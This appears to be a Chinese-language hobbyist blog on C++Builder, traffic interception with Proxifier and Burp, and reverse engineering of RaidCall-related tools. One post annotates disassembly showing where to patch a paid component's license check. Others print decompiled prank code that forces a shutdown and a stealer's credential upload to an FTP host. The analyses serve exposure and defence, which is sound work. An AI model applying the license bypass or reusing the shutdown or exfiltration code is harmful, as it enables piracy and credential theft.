• 百度空間 不接受Google.com(.tw)的referer

    這一陣子從Google查資料遇到一個惱人的問題
    只要是點到一些在百度空間(hi.baidu.com)的文章
    全都跳回首頁(http://hi.baidu.com/index/)
    一開始以為是該文章已經被刪除或者該作者帳號被停封
    沒多想只好改看庫存頁面了

    但是這個問題不斷的發生
    剛剛測試發現,如果直接貼上網址進入卻可以正常瀏覽!
    馬上就想到了應該是referer的問題

    就利用這個機會來簡單示範一下C++Builder中使用Indy HTTP的方法

    首先建立一個VCL Form Application(請參考C++Builder 教學:建立第一個視窗應用程式)
    Form1上加入2個TButton、2個TEdit、3個TLabel和一個TIdHTTP(位於Indy Clients分類)
    配置如圖
    baidu1.png

    記得IdHTTP1HandleRedirect設定為True,這個步驟很重要!

    加入Button1Button2OnClick事件

    Unit1.cpp
    void __fastcall TForm1::Button1Click(TObject *Sender)
    {
    Label1->Caption = "Referer=www.google.com";
    IdHTTP1->Request->Referer = "www.google.com";
    IdHTTP1->Get("http://hi.baidu.com/hyeiong/item/61c6fc11eeddd3ea9913d65a");
    Edit1->Text = IdHTTP1->Request->URL;
    }
    //---------------------------------------------------------------------------
    void __fastcall TForm1::Button2Click(TObject *Sender)
    {
    Label2->Caption = "Referer=";
    IdHTTP1->Request->Referer = "";
    IdHTTP1->Get("http://hi.baidu.com/hyeiong/item/61c6fc11eeddd3ea9913d65a");
    Edit2->Text = IdHTTP1->Request->URL;
    }
    //---------------------------------------------------------------------------

    編譯後執行看看結果...
    baidu.png

    果不其然,和預料中的一樣
    原來進到百度空間的referer只要是www.google.comwww.google.com.tw
    就會被302 Redirect/index

    真是...好邪惡啊!

    你也可以將Referer設成Yahoo、Bing等其他搜尋引擎看看結果如何
    目前只有測那兩組黑名單會這樣就是了
    柯P怎麼說?

  • Proxifier 指定應用程式通過代理伺服器

    前陣子在玩Burp的時候發現一個困難
    因為並非所有程式都是通過系統設定的Proxy來連線
    像是用Indy的HTTP寫的程式,就不會遵守系統設定
    雖然可以透過直接指定ProxyServer來連線
    但是如要發行Release版本又得將設定取消再編譯一次
    inddy.png

    由於Indy不是用WinINet
    所以在使用Fiddler這類基於代理伺服器的Packet analyzer時
    會發現並不是所有程式都那麼「聽話」的把資訊出來

    After you start Fiddler, the program registers itself as the system proxy for Microsoft Windows Internet Services (WinInet), the HTTP layer used by Internet Explorer, Microsoft Office, and many otherproducts.

    Indy還好,如果是自己寫的還可以自己修改設定
    但別人的程式呢?就會遇到麻煩了
    除了最終手段用Wireshark來分析之外,Proxifier會是一個解決方案

    Proxifier讓你可以透過自訂規則,決定哪些程式要使用代理或者直接連線
    還可以指定目的地是哪些網址或埠口時才作用
    也能為不同的規則設定不同的Proxy Servers
    甚至還有Proxy Chain功能,透過設定多個代理伺服器來實現Tor的運作
    prox.png

    底下就拿之前寫的RCLottery來做示範
    首先先確定Burp的Proxy Listeners設定正確

    接著到Proxifier的Proxy ServersAdd剛才的Proxy
    http.png

    再到Proxification RulesAdd我們要測試的程式規則
    並確定為Enable狀態

    接著就是開啟被測試的程式,並且執行網路操作
    成功擷取到了!
    Result.png

    Proxifier的另一個應用,就是指定程式通過Tor代理
    一般會去網路連線設定中修改Proxy,指定Socks代理伺服器
    不過基於上面相同的原因,並不是所有程式都會遵照系統設定
    此時Proxifier可以讓我們更彈性的指定要使用Tor的程式

    在電腦中安裝好Tor Browser並執行後,會監聽9150 port
    Proxy Servers中加入這個設定
    Tor.png

    並在Proxification Rules中指定程式通過使用Proxy SOCKS5 127.0.0.1來連線
    如此一來,Tor網路就不侷限於在Tor Browser使用了!

    最後,其實有一套軟體可以解決非WinINet的分析問題
    HTTP Analyzer v7有著強大的分析工具但無法修改request和response
    它是在TCP層運作、藉由Driver實作R0 Hook(感謝Inndy Lin)
    如此一來所有程式的連線只要是標準HTTP都能被記錄下再做分析

    Ref:
    Burp: http://portswigger.net/index.html
    Fiddler: http://www.telerik.com/fiddler
    The Fiddler Proxy: http://docs.telerik.com/fiddler/knowledgebase/proxy#the-fiddler-proxy
    Wireshark: https://www.wireshark.org/
    Proxifier: http://www.proxifier.com/
    Tor Project: https://www.torproject.org/
    HTTP Analyzer v7: http://www.ieinspector.com/httpanalyzer/index.html

  • C++Builder 教學:建立第一個視窗應用程式

    這篇要教你如何用C++Builder建立一個窗應用程式

    首先打開C++Builder
    點選單FileNewVCL Form Application - C++Builder
    一個視窗應用程式就建立完成了

    結束

    什麼!只有這樣?
    好吧,內容的確有點太少

    那就來介紹多一點

    ###基本介面介紹###
    首先建立完的畫面中間出現一個空的Form
    這個地方是讓你設計應用程式外觀的
    01.png

    底下的狀態列可以看到這樣的標籤
    02.png

    目前是Design,也就是處於設計模式頁面
    Unit1.cppUnit1.h則分別是這個Form1的程式碼和標頭檔
    History中可以看到歷史修改紀錄,每次存檔都會備份到這裡

    右下方的Tool Palette是列出所有元件
    每個分類點開後可以看到許多可用的元件
    03.png

    左下方的Object Inspector則是讓你設定元件屬性的地方
    04.png

    右上方的Project Manager可以管理專案中的所有檔案
    05.png

    ###開始設計###
    建立好專案,第一件事是為專案命名,並且儲存到專屬的資料夾
    首先在Project Manager中,把Project1.exe重新命名為MyFirstApp.exe
    可以使用F2或者右鍵選單使用Rename來重新命名
    然後將Unit1.cpp改為FormMain.cpp
    06.png

    接著點FileSave Project As
    新增一個MyFirstApp的資料夾並進入
    然後將所有檔案存檔

    再來就是設計Form囉
    從右下角的Tool Palette找到TButtonTLabel把它們加到Form1上吧!

    方法有兩種
    一是點一下TButton然後點一下中間的設計畫面
    二是直接滑鼠拖曳TButton到畫面上
    就能把一個Button放上了

    現在畫面上有了一個Label1和一個Button1
    07.png

    點一下Button1,然後從左下角的Object Inspector找到Caption
    這是讓你設定Button上要顯示的文字,將它設定為Hello或其他你喜歡的字

    接著在點兩下畫面中的Button1
    會跑到程式碼的地方,並且幫你新增了一段程式碼

    //---------------------------------------------------------------------------
    void __fastcall TForm1::Button1Click(TObject *Sender)
    {

    }
    //---------------------------------------------------------------------------

    {}中間的空白處打上Label1->Caption = "Hi!";
    如下

    //---------------------------------------------------------------------------
    void __fastcall TForm1::Button1Click(TObject *Sender)
    {
    Label1->Caption = "Hi!";
    }
    //---------------------------------------------------------------------------

    完成後請點FileSave或者按下Ctrl+S存檔
    接著請到上方ProjectBuild MyFirstApp或者按Shift+F9進行編譯

    出現如下圖有個Done就是成功囉!
    08.png

    然後直接點上方綠色的按鈕09.png就能執行編譯出的執行檔了

    10.png

    按下Hello
    11.png

    以上就是今天的教學

  • 關於逆向工程一點小事

    有人會認為,逆向工程是一種破壞
    我認為,這是一種學習的精神
    藉由反組譯、反編譯去反推別人程式是怎麼寫的
    看看他的程式碼有什麼缺點
    自己不會的還可以學起來

    其實很多時候會看到許多有趣的情形
    像是在看林鬼沁的程式時
    用了繁雜手動的手續只為了找出RC儲存資料的位置
    老實說這個動作一條API就能解決了ˊ_>ˋ

    甚至更常看到有人程式寫好
    覺得找個很強大的殼加上去就好
    不管它原理,不管它設定,不管它真正的用法...
    甚至不瞭解加殼是為了保護什麼東西
    通常這種人的程式,隨隨便便就會被破解了
    各種無奈

    在這裡並不是想要表示自己有多強、有多厲害
    我不是神
    我也只不過是會用適當的工具而已
    很多時候只是經驗多了,自然而然會知道方法
    倒是看到有人,只不過會用個工具查殼
    好像覺得知道別人用什麼殼、用什麼編譯就很厲害
    那...接下來呢?你要幹什麼?(笑

    你有心,你會學到很多
    你只是想炫耀技術,那你只是個toolguy or script kiddie, whatever
    我不否認公開可以讓更多人學習
    但也考慮一下別人對你的觀感吧
    不要讓人覺得你只是個腳本小子
    多學點東西,讓大家看到你的進步吧

    註:如果之前話說重了,那向你們道歉
    因為自己太有正義感了,路見不平總是會拔刀相助

  • RC語音搖一搖 - 認識心動的對象

    rclottery.png

    使用方法

    按下試試手氣,程式隨機抓取RC帳號,並顯示對方名稱、帳號、簽名
    按下圖片可以儲存大頭貼
    按下「帳號」可複製當前帳號
    為了怕各位遇到心愛的對象小鹿亂撞卻不小心按掉造成悲劇,點我後悔了可以還原上一個人

    關於本程式

    編譯器 壓縮工具
    Embarcadero C++ 6.80 for Win32 UPX 3.91w
    想要學習C++Builder這裡不定期會有教學唷!

    更新紀錄

    1.2
    1. 增加我後悔了功能
    2. 新增顯示勳章數量
    3. 改善亂數處理

    1.1
    1. 新增顯示等級圖示

    1.0
    1. 初版

    下載點

    版本 檔名 大小 下載點 掃毒報告
    1.0 RCLottery_1.0.rar 1.28 MB MEGA VirusTotal
    1.1 RCLottery_1.1.rar 1.30 MB MEGA VirusTotal
    1.2 RCLottery_1.2.rar 1.29 MB MEGA VirusTotal
  • 林鬼沁製作解鎖主機板RC?笑死人

    之前在「RC各種輔助」看到主機板解鎖的版本,心生好奇

    一位暱稱「林鬼沁」自稱是自己製作的
    然而之所以要發這篇文,就是經調查發現根本不是他製作的

    解壓縮後資料夾內除了有RC語音主程式及資料外,有一個林鬼沁解主機板.exe
    裡面寫明了此程式為鬼沁製作解主機版

    且開啟後會先跳出個人FB並要大家追蹤

    https://www.facebook.com/qwsadscac

    然後用了千奇百怪的方法只為了找出RC語音儲存資料的位置
    刪除裡面的miscid.tmp // 是要我補上這句嗎?

    之後才會「解壓縮」修改版RC主程式byOoze.exe到同一個資料夾內
    沒錯,是解壓縮你沒有看錯,而這個主程式被隱藏且被設定為系統檔案
    因此一般不會有人發現,該名偽作者也就能藉此騙大家自己就是原作

    說了那麼多,那原作者到底是誰?

    https://www.youtube.com/watch?v=ia5sOagBVCU

    這個影片中提供的連結,就是原始作者的版本
    至於影片上傳者是不是作者,就不得而知了
    網路上流傳的解鎖也都是這個版本

    原作者呢...悄悄的在檔案中留下了蛛絲馬跡
    他在.text段末尾留下了自己的簽名Edited by KaVeH
    在這裡向他表示感激,感謝你的默默付出(卻被別人把功勞占為己有

    這個簽名在林鬼沁byOoze.exe找得到!

    那到底林鬼沁byOoze.exe跟原作有什麼不同?
    答:沒有什麼不同,只有修改resource裡面的資料和icon,讓它「看起來」就是林鬼沁做的


    左為遭竄改的byOoze.exe右為原作raidcall_kvh.exe

    現今在網路上這種將別人的辛勞占為己有的事情越來越常見,根本是鳩佔鵲巢、坐享其成的行為無誤!

  • 破解筆記 某C++Builder Component

    由於該Component是收費的,試用只有30天,
    怕編譯出來發布給別人用會有過期問題,於是就來破解一下。

    看網路上舊版的可以直接爆破序號,這個則是直接通過驗證A__A
    本文純粹做筆記,僅作為學術研究之用。

    0040A9C2 - E8 65F8FFFF           - call 0040A22C ; 選擇要解鎖的元件
    0040A9C7 - 83 C4 08 - add esp,08
    0040A9CA - 84 C0 - test al,al
    0040A9CC - 75 1F - jne 0040A9ED
    0040A9CE - 68 C44E4B00 - push 004B4EC4 : ["unlockComponent internal error."]
    0040A9D3 - 56 - push esi
    0040A9D4 - 8B 0E - mov ecx,[esi]
    0040A9D6 - FF 51 14 - call dword ptr [ecx+14]
    0040A9D9 - 83 C4 08 - add esp,08
    0040A9DC - 33 C0 - xor eax,eax
    0040A9DE - 8B 55 D0 - mov edx,[ebp-30]
    0040A9E1 - 64 89 15 00000000 - mov fs:[00000000],edx
    0040A9E8 - E9 BA000000 - jmp 0040AAA7
    0040A9ED - 66 C7 45 E0 0C00 - mov word ptr [ebp-20],000C
    0040A9F3 - 8D 4D F4 - lea ecx,[ebp-0C]
    0040A9F6 - 51 - push ecx
    0040A9F7 - E8 BC6E0500 - call 004618B8
    0040A9FC - 59 - pop ecx
    0040A9FD - 83 45 EC 02 - add dword ptr [ebp-14],02
    0040AA01 - 66 C7 45 E0 1800 - mov word ptr [ebp-20],0018
    0040AA07 - 8B 45 C0 - mov eax,[ebp-40] ; [ebp-40]即為解鎖狀態 1=已解鎖 0=未解鎖
    0040AA0A - 80 38 00 - cmp byte ptr [eax],00
    0040AA0D - 74 30 - je 0040AA3F ; 在這裡修改就會A__A
    0040AA0F - 68 E44E4B00 - push 004B4EE4 : ["Already unlocked."]
    0040AA14 - 56 - push esi
    0040AA15 - 8B 16 - mov edx,[esi]
    0040AA17 - FF 52 18 - call dword ptr [edx+18]
    0040AA1A - 83 C4 08 - add esp,08
    0040AA1D - B0 01 - mov al,01
    0040AA1F - 50 - push eax
    0040AA20 - 83 6D EC 02 - sub dword ptr [ebp-14],02
    0040AA24 - 6A 02 - push 02
    0040AA26 - 8D 55 F4 - lea edx,[ebp-0C]
    0040AA29 - 52 - push edx
    0040AA2A - E8 E16E0500 - call 00461910
    0040AA2F - 83 C4 08 - add esp,08
    0040AA32 - 58 - pop eax
    0040AA33 - 8B 55 D0 - mov edx,[ebp-30]
    0040AA36 - 64 89 15 00000000 - mov fs:[00000000],edx
    0040AA3D - EB 68 - jmp 0040AAA7
    0040AA3F - 8B 4D 10 - mov ecx,[ebp+10]
    0040AA42 - 51 - push ecx
  • 逆向工程 不明程式把你電腦關機

    「RC各種輔助」出了名的個種亂、各種●孩出沒
    又見到惡作劇程式,故意下指令讓你關機
    本文逆向的是這篇PO文底下「陳○○」留言的程式

    kid.png

    現在的●孩以為自己會寫程式就很強、會找工具加殼就很厲害
    學寫程式也不學好,成天寫一些惡作劇程式
    無所長進,卻還能在網路上大放厥詞,實在是看不下
    糞土之牆不可杇也!

    雖然「陳○○」寫的惡作劇程式經過Themida加殼
    但它畢竟還是.Net,想想●孩應該也只會VB,那就顯示為VB吧!

    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
    Dim str As String = Interaction.InputBox("請輸入驗證碼", "驗證碼", "", -1, -1)
    Me.Hide
    If (str = "VB.net測試驗證碼") Then
    Interaction.MsgBox("恭喜你,過關。", MsgBoxStyle.Information, "Tips")
    Me.Show
    ElseIf (str <> "VB.net測試驗證碼") Then
    Interaction.MsgBox("失敗。", MsgBoxStyle.Critical, "Tips")
    Interaction.Shell("shutdown -s -t 1", AppWinStyle.MinimizedFocus, False, -1)
    End If
    End Sub

    完全沒有意義的程式
    密碼錯了就關機
    對了就跑出什麼都沒有的視窗

    總結:現在●孩都認為會下關機指令就很厲害。

  • 逆向工程 不明程式偷偷上傳你的帳號密碼 - Raidcall Aid

    最近在FB社團「RC各種輔助」有人貼了一個外掛程式
    令我好奇的不是他的功能,而是他的影片示範
    一開始就要在外掛先進行「登入RC帳號」的動作
    不禁懷疑,背後是否偷偷在搞什麼

    rafb01.png

    貼文內容
    在某論壇看到的 還蠻好用的~
    下載:http://goo.gl/71Mx4X
    * v1.1
    1.優化快速創頻/刪頻
    2.添加RC登入
    3.新增系統優化 & 去廣告
    * v1.0
    1.程式誕生
    Ps. 智能機制:帳密錯誤5次會自動關閉,並於幾分鐘後才可重新使用。
    影片:http://youtu.be/WQsAB2g-OVU

    該影片描述

    發佈日期:2014年7月21日
    這是RaidCall Aid的示範影片。
    功能有:快創/刪/叮咚。

    Ps. 智能機制:帳密錯誤5次會自動關閉,並於幾分鐘後才可重新使用。

    下載:http://goo.gl/5vksIz

    抓下來立馬開始分析,不意外,是VB6寫的
    frmMain在載入時會檢查"C:\Windows\Accounts"是否存在,不存在會建立一個
    然後會讓WebBrowserc預先載入RC語音論壇登入頁面
    以備讓使用者「登入」

    .text:004081DC                 mov     [ebp+var_40], offset aCWindowsAccoun ; "C:\\Windows\\Accounts"
    .text:004081E3 mov [ebp+var_48], 8
    .text:004081EA lea edx, [ebp+var_48]
    .text:004081ED lea ecx, [ebp+var_38]
    .text:004081F0 call ds:__vbaVarDup
    .text:004081F6 push 10h
    .text:004081F8 lea eax, [ebp+var_38]
    .text:004081FB push eax
    .text:004081FC call ds:rtcDir
    .text:00408202 mov edx, eax
    .text:00408204 lea ecx, [ebp+var_24]
    .text:00408207 call ds:__vbaStrMove
    .text:0040820D push eax
    .text:0040820E push offset dword_4055F0
    .text:00408213 call ds:__vbaStrCmp
    .text:00408219 neg eax
    .text:0040821B sbb eax, eax
    .text:0040821D inc eax
    .text:0040821E neg eax
    .text:00408220 mov word ptr [ebp+var_5C], ax
    .text:00408224 lea ecx, [ebp+var_24]
    .text:00408227 call ds:__vbaFreeStr
    .text:0040822D lea ecx, [ebp+var_38]
    .text:00408230 call ds:__vbaFreeVar
    .text:00408236 movsx ecx, word ptr [ebp+var_5C]
    .text:0040823A test ecx, ecx
    .text:0040823C jz short loc_408250
    .text:0040823E mov [ebp+var_4], 6
    .text:00408245 push offset aCWindowsAccoun ; "C:\\Windows\\Accounts"
    .text:0040824A call ds:rtcMakeDir

    然後使用者輸入完帳密按「登入」後,填到WebBrowser的表單上送出
    帳密會紀錄到"C:\Windows\Accounts"下
    檢查登入後的網址是否為成功登入的狀態
    錯誤則會將錯誤計數加一,並由一個Timer檢查錯誤次數
    登入成功會馬上將帳密上傳到FTP!

    .text:00408C58                 test    ecx, ecx
    .text:00408C5A jz loc_40937F
    .text:00408C60 mov [ebp+var_4], 0Dh
    .text:00408C67 mov [ebp+var_90], offset aFtpFtp_clouds_ ; "ftp://ftp.clouds.tw/"
    .text:00408C71 mov [ebp+var_98], 8
    .text:00408C7B mov eax, 10h

    透過程式內的帳號密碼登入這個FTP,發現已有受害者
    截至本文發表前有10人RC語音帳密被不肖份子盜取
    raftp.png